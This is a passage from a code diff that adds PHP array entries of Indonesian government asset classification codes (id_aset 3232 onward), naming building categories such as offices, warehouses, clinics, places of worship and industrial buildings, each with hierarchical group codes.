'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA', + ], + [ + 'id_aset' => 3232, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG KANTOR', + ], + [ + 'id_aset' => 3233, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG KANTOR PERMANEN', + ], + [ + 'id_aset' => 3234, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG KANTOR SEMI PERMANEN', + ], + [ + 'id_aset' => 3235, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG KANTOR DARURAT', + ], + [ + 'id_aset' => 3236, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'RUMAH PANEL', + ], + [ + 'id_aset' => 3237, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG KANTOR LAINNYA', + ], + [ + 'id_aset' => 3238, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GUDANG', + ], + [ + 'id_aset' => 3239, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GUDANG TERTUTUP PERMANEN', + ], + [ + 'id_aset' => 3240, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GUDANG TERTUTUP SEMI PERMANEN', + ], + [ + 'id_aset' => 3241, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GUDANG TERTUTUP DARURAT', + ], + [ + 'id_aset' => 3242, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN GUDANG TERBUKA PERMANEN', + ], + [ + 'id_aset' => 3243, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN GUDANG TERBUKA SEMI PERMANEN', + ], + [ + 'id_aset' => 3244, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN GUDANG TERBUKA DARURAT', + ], + [ + 'id_aset' => 3245, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GUDANG LAINNYA', + ], + [ + 'id_aset' => 3246, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG UNTUK BENGKEL', + ], + [ + 'id_aset' => 3247, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN BENGKEL PERMANEN', + ], + [ + 'id_aset' => 3248, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN BENGKEL SEMI PERMANEN', + ], + [ + 'id_aset' => 3249, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN BENGKEL DARURAT', + ], + [ + 'id_aset' => 3250, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG UNTUK BENGKEL LAINNYA', + ], + [ + 'id_aset' => 3251, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG INSTALASI', + ], + [ + 'id_aset' => 3252, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEDUNG INSTALASI STUDIO', + ], + [ + 'id_aset' => 3253, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEDUNG INSTALASI PEMANCAR', + ], + [ + 'id_aset' => 3254, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG INSTALASI LAINNYA', + ], + [ + 'id_aset' => 3255, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG LABORATORIUM', + ], + [ + 'id_aset' => 3256, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG LABORATORIUM PERMANEN', + ], + [ + 'id_aset' => 3257, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG LABORATORIUM SEMI PERMANEN', + ], + [ + 'id_aset' => 3258, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG LABORATORIUM DARURAT', + ], + [ + 'id_aset' => 3259, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG LABORATORIUM LAINNYA', + ], + [ + 'id_aset' => 3260, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN KESEHATAN', + ], + [ + 'id_aset' => 3261, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN POSYANDU', + ], + [ + 'id_aset' => 3262, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN POLINDES (PONDOK BERSALIN DESA)', + ], + [ + 'id_aset' => 3263, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN APOTIK', + ], + [ + 'id_aset' => 3264, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN TOKO KHUSUS OBAT/JAMU', + ], + [ + 'id_aset' => 3265, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN KESEHATAN LAINNYA', + ], + [ + 'id_aset' => 3266, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT IBADAH', + ], + [ + 'id_aset' => 3267, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG TEMPAT IBADAH PERMANEN', + ], + [ + 'id_aset' => 3268, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG TEMPAT IBADAH SEMI PERMANEN', + ], + [ + 'id_aset' => 3269, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG TEMPAT IBADAH DARURAT', + ], + [ + 'id_aset' => 3270, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT IBADAH LAINNYA', + ], + [ + 'id_aset' => 3271, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT PERTEMUAN', + ], + [ + 'id_aset' => 3272, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG PERTEMUAN PERMANEN', + ], + [ + 'id_aset' => 3273, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG PERTEMUAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3274, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG PERTEMUAN DARURAT', + ], + [ + 'id_aset' => 3275, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT PERTEMUAN LAINNYA', + ], + [ + 'id_aset' => 3276, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT PENDIDIKAN', + ], + [ + 'id_aset' => 3277, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG PENDIDIKAN PERMANEN', + ], + [ + 'id_aset' => 3278, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG PENDIDIKAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3279, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG PENDIDIKAN DARURAT', + ], + [ + 'id_aset' => 3280, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN GEDUNG PENDIDIKAN DAN LATIHAN', + ], + [ + 'id_aset' => 3281, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT PENDIDIKAN LAINNYA', + ], + [ + 'id_aset' => 3282, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT OLAH RAGA', + ], + [ + 'id_aset' => 3283, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEDUNG OLAH RAGA TETUTUP PERMANEN', + ], + [ + 'id_aset' => 3284, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEDUNG OLAH RAGA TERTUTUP SEMI PERMANEN', + ], + [ + 'id_aset' => 3285, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG OLAH RAGA TERTUTUP DARURAT', + ], + [ + 'id_aset' => 3286, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN OLAH RAGA TERBUKA PERMANEN', + ], + [ + 'id_aset' => 3287, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN OLAH RAGA TERBUKA SEMI PERMANEN', + ], + [ + 'id_aset' => 3288, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN OLAH RAGA TERBUKA DARURAT', + ], + [ + 'id_aset' => 3289, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN GEDUNG OLAH RAGA KOLAM RENANG', + ], + [ + 'id_aset' => 3290, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 3291, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG PERTOKOAN/KOPERASI/PASAR', + ], + [ + 'id_aset' => 3292, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEDUNG PERTOKOAN/KOPERASI/PASAR PERMANEN', + ], + [ + 'id_aset' => 3293, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEDUNG PERTOKOAN/KOPERASI/PASAR SEMI PERMANEN', + ], + [ + 'id_aset' => 3294, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG PERTOKOAN/KOPERASI/PASAR DARURAT', + ], + [ + 'id_aset' => 3295, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG PERTOKOAN/KOPERASI/PASAR LAINNYA', + ], + [ + 'id_aset' => 3296, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG GARASI/POOL', + ], + [ + 'id_aset' => 3297, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEDUNG GARASI/POOL PERMANEN', + ], + [ + 'id_aset' => 3298, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEDUNG GARASI/POOL SEMI PERMANEN', + ], + [ + 'id_aset' => 3299, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG GARASI/POOL DARURAT', + ], + [ + 'id_aset' => 3300, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG GARASI/POOL LAINNYA', + ], + [ + 'id_aset' => 3301, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG PEMOTONG HEWAN', + ], + [ + 'id_aset' => 3302, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEDUNG PEMOTONG HEWAN PERMANEN', + ], + [ + 'id_aset' => 3303, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEDUNG PEMOTONG HEWAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3304, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG PEMOTONG HEWAN DARURAT', + ], + [ + 'id_aset' => 3305, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG PEMOTONG HEWAN LAINNYA', + ], + [ + 'id_aset' => 3306, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG PERPUSTAKAAN', + ], + [ + 'id_aset' => 3307, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG PERPUSTAKAAN PERMANEN', + ], + [ + 'id_aset' => 3308, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG PERPUSTAKAAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3309, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG PERPUSTAKAAN DARURAT', + ], + [ + 'id_aset' => 3310, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG PERPUSTAKAAN LAINNYA', + ], + [ + 'id_aset' => 3311, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG MUSIUM', + ], + [ + 'id_aset' => 3312, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG MUSIUM PERMANEN', + ], + [ + 'id_aset' => 3313, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG MUSIUM SEMI PERMANEN', + ], + [ + 'id_aset' => 3314, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG MUSIUM DARURAT', + ], + [ + 'id_aset' => 3315, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '15', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG MUSIUM LAINNYA', + ], + [ + 'id_aset' => 3316, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TERMINAL/PELABUHAN', + ], + [ + 'id_aset' => 3317, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG TERMINAL/PELABUHAN PERMANEN', + ], + [ + 'id_aset' => 3318, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG TERMINAL/PELABUHAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3319, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG TERMINAL/PELABUHAN DARURAT', + ], + [ + 'id_aset' => 3320, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN HALTE/SHELTER', + ], + [ + 'id_aset' => 3321, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '16', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TERMINAL/PELABUHAN LAINNYA', + ], + [ + 'id_aset' => 3322, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN TERBUKA', + ], + [ + 'id_aset' => 3323, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN LANTAI JEMUR PERMANEN', + ], + [ + 'id_aset' => 3324, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN LANTAI JEMUR SEMI PERMANEN', + ], + [ + 'id_aset' => 3325, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN LANTAI JEMUR DARURAT', + ], + [ + 'id_aset' => 3326, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '17', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN TERBUKA LAINNYA', + ], + [ + 'id_aset' => 3327, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENAMPUNG SEKAM', + ], + [ + 'id_aset' => 3328, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PENAMPUNG SEKAM PERMANEN', + ], + [ + 'id_aset' => 3329, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PENAMPUNG SEKAM SEMI PERMANEN', + ], + [ + 'id_aset' => 3330, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PENAMPUNG SEKAM DARURAT', + ], + [ + 'id_aset' => 3331, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '18', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENAMPUNG SEKAM LAINNYA', + ], + [ + 'id_aset' => 3332, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN TEMPAT PELELANGAN IKAN (TPI)', + ], + [ + 'id_aset' => 3333, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TPI PERMANEN', + ], + [ + 'id_aset' => 3334, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN TPI SEMI PERMANEN', + ], + [ + 'id_aset' => 3335, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN TPI DARURAT', + ], + [ + 'id_aset' => 3336, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '19', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN TEMPAT PELELANGAN IKAN (TPI) LAINNYA', + ], + [ + 'id_aset' => 3337, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN INDUSTRI', + ], + [ + 'id_aset' => 3338, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN INDUSTRI MAKANAN', + ], + [ + 'id_aset' => 3339, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN INDUSTRI MINUMAN', + ], + [ + 'id_aset' => 3340, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN INDUSTRI ALAT RT', + ], + [ + 'id_aset' => 3341, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN INDUSTRI PAKAIAN/GARMENT', + ], + [ + 'id_aset' => 3342, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN INDUSTRI BAJA/BESI/LOGAM', + ], + [ + 'id_aset' => 3343, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN INDUSTRI PENGEMASAN', + ], + [ + 'id_aset' => 3344, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN INDUSTRI BENGKEL', + ], + [ + 'id_aset' => 3345, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN INDUSTRI PENYULINGAN MINYAK', + ], + [ + 'id_aset' => 3346, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '009', + 'nama' => 'BANGUNAN INDUSTRI KIMIA DAN PUPUK', + ], + [ + 'id_aset' => 3347, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '010', + 'nama' => 'BANGUNAN INDUSTRI OBAT-OBATAN', + ], + [ + 'id_aset' => 3348, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '011', + 'nama' => 'BANGUNAN INDUSTRI SEMEN', + ], + [ + 'id_aset' => 3349, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '012', + 'nama' => 'BANGUNAN INDUSTRI BATU-BATA/BATAKO', + ], + [ + 'id_aset' => 3350, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '013', + 'nama' => 'BANGUNAN INDUSTRI GENTENG', + ], + [ + 'id_aset' => 3351, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '014', + 'nama' => 'BANGUNAN INDUSTRI PERCETAKAN', + ], + [ + 'id_aset' => 3352, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '015', + 'nama' => 'BANGUNAN INDUSTRI TEKSTIL', + ], + [ + 'id_aset' => 3353, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '016', + 'nama' => 'BANGUNAN INDUSTRI ALAT OLAH RAGA', + ], + [ + 'id_aset' => 3354, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '017', + 'nama' => 'BANGUNAN INDUSTRI KENDARAAN/OTOMOTIF', + ], + [ + 'id_aset' => 3355, + 'golongan' => '4', + 